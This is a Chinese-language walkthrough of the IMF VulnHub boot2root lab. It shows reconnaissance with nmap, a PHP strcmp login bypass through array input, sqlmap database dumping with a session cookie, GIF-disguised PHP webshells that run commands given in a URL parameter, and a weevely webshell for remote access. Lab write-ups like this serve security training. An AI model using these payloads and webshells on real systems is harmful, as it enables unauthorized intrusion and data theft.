目录
简介
IMF 是一个初级难度的boot 2 root 靶机。 flag难度从简单到困难,并且每个flag都含有关于获取下一个flag的提示。
IMF靶机下载地址:IMF: 1 ~ VulnHub
攻击机:Kali Linux IP:192.168.47.129
(1)信息搜集
1、主机发现
因为靶机与宿主机在同一网段,所以用二级扫描来发现靶机ip:arp-scan -l
发现靶机ip为192.168.47.141
2、端口扫描
nmap -sC -sV -O 192.168.47.141
//-sC常见漏洞脚本扫描 -sV开放端口服务/版本号 -O操作系统探测
发现就开了一个80端口
3、访问Web服务
网页上访问192.168.47.141,点第三个选项
查看网页源码,得到flag1{YWxsdGhlZmlsZXM=}
把flag里的内容base64解码,得到字符串:allthefiles
点击首页第一个选项查看源码,这三段有点像base64编码
把三段拼起来:ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ==
用base64解码,得到flag2{aW1mYWRtaW5pc3RyYXRvcg==
再把flag2里面的内容解码,得到字符串:imfadministrator
访问一下imfadministrator路径,是一个登陆界面
查看网页源码,发现提示:“我无法使用SQL,所以我硬编码了密码。它仍然非常安全。”
随便输入用户名和密码,点登录,页面回显提示:“无效的用户名”
接下来就需要找到正确的用户名,浏览网页发现有三个邮箱,用这三个用户名登陆试试
使用第一个用户名(rmichaels)登录时,发现页面回显变成了“无效的密码”,说明我们的用户名是正确的
既然知道了正确的用户名,就可以使用burpsuite抓包爆破出密码
右键,选择转发到Intruder
选中要爆破的地方
配置好payload后,点击开始攻击
爆破速度太慢了,放弃这种方式
(2)漏洞利用
burp抓包进行绕过
参考代码php strcmp比较字符串绕过:字符串和数组进行比较
<?php
$flag = "flag{xxxxx}";
if (isset($_GET['a'])) {
//如果 str1 小于 str2 返回 < 0; 如果 str1大于 str2返回 > 0;如果两者相等,返回 0。
//比较两个字符串(区分大小写)
if (strcmp($_GET['a'], $flag) == 0)
die('Flag: '.$flag);
else
print 'No';
}
?>
a的输入为非字符串类型数据,就会报错,自动return 0
我们可以将pass以数组的方式传输数据,使其报错。
得到flag3{Y29udGludWVUT2Ntcw==}
base64解密得到:continueTOcms
关闭抓包,页面跳转到如下界面
点击IMF CMS进入新的页面
在url地址栏加单引号测试下,发现有报错回显,说明存在sql注入漏洞
这里因为是基于登录之后的sql注入,使用sqlmap需要加上cookie值
所以我们先抓包记录一下cooike值:PHPSESSID=76gll2kk80bthftu7adt9re7g2
直接上sqlmap,获取数据库名:
sqlmap -o -u "http://192.168.47.141/imfadministrator/cms.php?pagename=home" --cookie="PHPSESSID=76gll2kk80bthftu7adt9re7g2" --batch -dbs
-o: 表示将结果输出到文件。
-u 指定目标 URL,即待测试的网址。
--cookie="PHPSESSID=76gll2kk80bthftu7adt9re7g2": 指定了 HTTP 请求中的 Cookie 信息,这是为了在测试中保持用户的身份验证状态。
--batch: 设置 SQLMap 在运行时遇到多个可能性时自动选择默认选项,而不需要用户交互。
-dbs: 表示检测数据库名称。
获取admin数据库的表名,发现里面只有一个pages表:
sqlmap -o -u "http://192.168.47.141/imfadministrator/cms.php?pagename=home" --cookie="PHPSESSID=76gll2kk80bthftu7adt9re7g2" --batch -D admin -tables
获取pages表里面的全部内容:
sqlmap -o -u "http://192.168.47.141/imfadministrator/cms.php?pagename=home" --cookie="PHPSESSID=76gll2kk80bthftu7adt9re7g2" --batch -D admin -T pages --dump
访问一下上面这两个图片路径,有一个二维码
用手机扫一下发现flag4{dXBsb2Fkcjk0Mi5waHA=}
解码得到:uploadr942.php
访问一下这个php页面,发现是一个文件上传的页面
制作一个图片马1.gif,其中GIF89a是 GIF 图片文件的文件头:
GIF89a
<?php echo `id`;?>
上传这个1.gif文件,显示上传成功
查看一下网页源码,发现上传的文件名被改了
访问一下刚刚上传的这个文件:http://192.168.47.141/imfadministrator/uploads/709c6287be23.gif
页面回显了id,文件上传成功
接下来我们制作一个webshell的图片马:
GIF89a
<?php $a=$_GET['a']; print(`$a`); ?>
这段代码中,用户可以通过 URL 的查询参数 a 提供一个值。然后,该值被赋给变量 $a,并通过反引号执行,这意味着其中的内容会被作为 shell 命令执行。
利用和上面相同的方法上传,访问如下路径,发现flag5
http://192.168.47.141/imfadministrator/uploads/2a596597bca9.gif?a=ls
查看flag5内容:
http://192.168.47.141/imfadministrator/uploads/2a596597bca9.gif?a=cat%20flag5_abc123def.txt
得到flag5{YWdlbnRzZXJ2aWNlcw==} ,解码得:agentservices
(3)获取靶机shell
我们可以使用kali中自带的weevely工具生成php文件,然后把php文件合并至gif图片中,随后进行上传
命令:weevely generate jesse 111.php
使用 Weevely 工具生成一个名为 111.php 的 Web Shell 文件,并设置密码为 jesse。
将生成的111.php文件后缀改为.gif,随意添加GIF数值
上传这个111.gif木马文件
上传成功
查看网页源码,记录下这个被修改后的文件名:b365a8c854d7
用weevely工具连接木马文件:
weevely http://192.168.47.141/imfadministrator/uploads/b365a8c854d7.gif jesse
成功获取靶机shell
(4)提权
查看一下系统版本:lsb_release -a
发现是16.04的ubuntu
可以尝试使用CVE-2021- 4034的poc提权,但我试了下没成功,就不写这部分了